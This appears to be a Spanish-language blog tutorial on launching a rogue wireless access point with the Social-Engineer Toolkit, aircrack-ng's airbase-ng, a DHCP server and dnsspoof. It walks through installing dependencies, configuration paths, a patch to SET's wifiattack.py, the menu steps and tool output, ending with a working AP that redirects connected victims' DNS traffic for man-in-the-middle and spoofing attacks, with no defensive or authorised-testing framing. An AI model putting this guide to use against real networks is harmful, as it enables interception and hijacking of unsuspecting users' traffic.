SET incluye un vector de ataque bastante utilizando por atacantes en redes inalámbricas, consiste precisamente en la creación de un Access Point falso donde se tratan cada uno de los paquetes que viajan por la interfaz de red inalámbrica del atacante. Para realizar estas operaciones utiliza aircrack-ng, esta utilidad como probablemente algunos de los lectores sabrán, es una suite de herramientas enfocadas específicamente a la realización de diversos ataques y operativas relacionadas con dispositivos inalámbricos, además de que permite realizar ataques contra WEB/WPA2.0 para capturar las credenciales de acceso de un AP determinado. Ahora bien, antes de comenzar a utilizar SET es necesario tener algunas consideraciones relacionadas con los servicios que se deben encontrar instalados en la maquina del atacante antes de poder iniciar adecuadamente un access point falso desde SET.
PROPIEDADES DE CONFIGURACIÓN OBLIGATORIAS
Antes de comenzar a utilizar este vector de ataque es necesario tener instaladas las librerías dependientes, que en este casos son aircrack-ng y dsniff en el caso de que se instalen de forma manual utilizando un “tarball” es necesario indicar la ruta de instalación elegida en el fichero de configuración de SET en las propiedades AIRCRACK_NG_BASE y DNSSPOOF_PATH en caso de que se utilice el comando apt-get en distribuciones basadas en Debian ejecutar
>apt-get install aircrack-ng >apt-get install dsniff |
En dicho caso las ubicaciones que se deben establecer en el fichero de configuración de SET para las propiedades especificas de un ataque de AP Falso deben tener los siguientes valores
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng DNSSPOOF_PATH=/usr/sbin/dnsspoof |
SERVIDOR DHCP CORRECTAMENTE CONFIGURADO
Por otro lado, es necesario tener correctamente configurado el servicio de DHCP en la maquina del atacante, para que de esta forma sea posible establecer asignación dinámica de direcciones IP a los clientes que se conectan al AP, esto es de vital importancia para que el ataque funcione correctamente, en entradas anteriores de este blog se ha indicado como establecer un AP manualmente donde se configuran todos los servicios y reglas de iptables para tratar el trafico de paquetes adecuadamente, se recomienda visitar dichos posts antes de continuar en el caso de que no se tengan claros los conceptos básicos de lo que es un servidor DHCP aquí y aquí
En dichos post se enseña como configurar un AP de forma manual y posteriormente utilizando KarmetaSploit, sin embargo, en este punto hay que aclarar algunas cosas que cambian en las ultimas distribuciones de Debian (en concreto en Squeeze) particularmente el servicio DHCP que en lugar de llamarse “dhcpd” como en distribuciones anteriores ahora es conocido como “isc-dhcp-server”. Se procede a indicar los pasos para instalar y configurar el servidor DHCP en Debian para aquellos usuarios que tengan problemas a la hora de arrancarlo, en el caso de que el lector tenga correctamente configurado e iniciado el servicio DHCP, puede saltarse esta parte.
-
Instalar el servidor DHCP utilizando APT
>apt-get install dhcp3-server
-
Una vez se ha instalado el servicio, se puede encontrar en: /etc/init.d/isc-dhcp-server, los ficheros de configuración de los que depende el servicio para arrancar adecuadamente son: /etc/dhcp/dhcpd.conf y /etc/default/isc-dhcp-server
-
Establecer la interfaz de red que se utilizará para la asignación de direcciones IP validas en el fichero de configuración /etc/default/isc-dhcp-server
# Defaults for dhcp initscript
# sourced by /etc/init.d/dhcp
# installed at /etc/default/isc-dhcp-server by the maintainer scripts
#
# This is a POSIX shell fragment
#
# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
# Separate multiple interfaces with spaces, e.g. «eth0 eth1».
INTERFACES=»eth0″
-
Establecer las directivas de red que utilizará el servicio DHCP para asignar de forma dinámica direcciones IP a los clientes que se conecten al AP, para esto es necesario configurar adecuadamente el fichero de configuración /etc/dhcp/dhcpd.conf un contenido valido para este fichero puede ser el siguiente
# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages (‘none’, since DHCP v2 didn’t
# have support for DDNS.)
ddns-update-style none;
# option definitions common to all supported networks…
option domain-name «example.org»;
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
subnet 192.168.1.0 netmask 255.255.255.0 {
option domain-name «mylan»;
option domain-name-servers 192.168.1.1;
option routers 192.168.1.1;
option subnet-mask 255.255.255.0;
range 192.168.1.100 192.168.1.200;
}
Para mayor información sobre las opciones establecidas aquí consultar los enlaces indicados en párrafos anteriores.
-
Con esto será suficiente para iniciar de forma correcta el servicio DHCP
>/etc/init.d/isc-dhcp-server start
Starting ISC DHCP server: dhcpd.
Finalmente, SET se encuentra programado en Python y todo el código se encuentra ubicado en <INSTALL_DIR>/src/ aquí se encuentran los subdirectorios correspondientes a los diversos ataques que se pueden llevar a cabo en SET. Actualmente el ataque de “Wireless Access Point” lo que hace es seguir una secuencia de arranque donde inicia de forma lineal cada uno de los servicios necesarios para que el AP sea funcional, en concreto inicia por ejecutar el comando “airmon-ng” para poner la interfaz de red inalámbrica en modo monitor y posteriormente intenta ejecutar el servicio DHCP, esperando que se encuentre declarado en el sistema operativo como una variable de entorno accesible de forma directa sin necesidad de indicar la ruta de acceso absoluta, esto representa un problema, ya que el comando que intenta ejecutar el ataque es: “dhcpd -cf src/program_junk/dhcp.conf at0” el cual en sistemas Debian Squeeze falla debido a que no existe un ejecutable con el nombre “dhcpd”. Por este motivo es necesario cambiar el código fuente para indicar el comando correcto, para ello es necesario editar el fichero <INSTALL_SET_DIR>src/wireless/wifiattack.py y establecer el comando correcto, dirigirse a la linea donde se encuentra la instrucción de arranque del servidor DHCP y cambiarla por lo siguiente:
# starts a dhcp server print («[*] Starting the DHCP server on a seperate child thread…») child1 = pexpect.spawn(«/etc/init.d/isc-dhcp-server -cf src/program_junk/dhcp.conf at0») |
Solamente es necesario cambiar el comando que debe ejecutar pexpect por la instrucción correcta, el resto se deja tal como esta.
Una vez se ha realizado la configuración previa para poder lanzar el ataque desde SET se sigue el siguiente procedimiento para llevar a cabo el ataque.
-
Iniciar SET y seleccionar la opción correspondiente a “Wireless Access Point Attack Vector” en el menú principal.
Select from the menu:
1. Spear-Phishing Attack Vectors
2. Website Attack Vectors
3. Infectious Media Generator
4. Create a Payload and Listener
5. Mass Mailer Attack
6. Arduino-Based Attack Vector
7. SMS Spoofing Attack Vector
8. Wireless Access Point Attack Vector
9. Third Party Modules
10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About
99. Exit the Social-Engineer Toolkit
set > 8
-
Ahora se procede a iniciar el punto de acceso inalámbrico utilizado para que todos los paquetes viajen por la interfaz de red del atacante
set > 8
The Wireless Attack module will create an access point leveraging your
wireless card and redirect all DNS queries to you. The concept is fairly
simple, SET will create a wireless access point, dhcp server, and spoof
DNS to redirect traffic to the attacker machine. It will then exit out
of that menu with everything running as a child process.
You can then launch any SET attack vector you want, for example the Java
Applet attack and when a victim joins your access point and tries going to
a website, will be redirected to your attacker machine.
This attack vector requires AirBase-NG, AirMon-NG, DNSSpoof, and dhcpd3.
1. Start the SET Wireless Attack Vector Access Point
2. Stop the SET Wireless Attack Vector Access Point
99. Return to main menu
-
Después de seleccionar la opción correspondiente al arranque del AP, es necesario establecer la interfaz de red y esperar a que la ejecución de todos los comandos de arranque del AP terminen satisfactoriamente.
set:wireless > 1
Enter the wireless network interface (ex. wlan0): wlan0
[*] Placing card in monitor mode via airmon-ng..
[*] Spawning airbase-ng in a seperate child thread…
[*] Sleeping 15 seconds waiting for airbase-ng to complete…
[*] Bringing up the access point interface…
[*] Writing the dhcp configuration file to src/program_junk
[*] Starting the DHCP server on a seperate child thread…
[*] Starting DNSSpoof in a seperate child thread…
[*] SET has finished creating the attack. If you experienced issues please report them.
[*] Now launch SET attack vectors within the menus and have a victim connect via wireless.
[*] Be sure to come back to this menu to stop the services once your finished.
[*] Press [return] to go back to the main menu.
-
Como puede apreciarse el AP se ha creado correctamente ahora solamente falta que un cliente se conecte a él y posteriormente es posible ejecutar cualquiera de los ataques disponibles en SET, además de poder realizar ataques MITM y realizar Spoofing de los paquetes que viajan entre la víctima y cualquier destino de las conexiones que realice.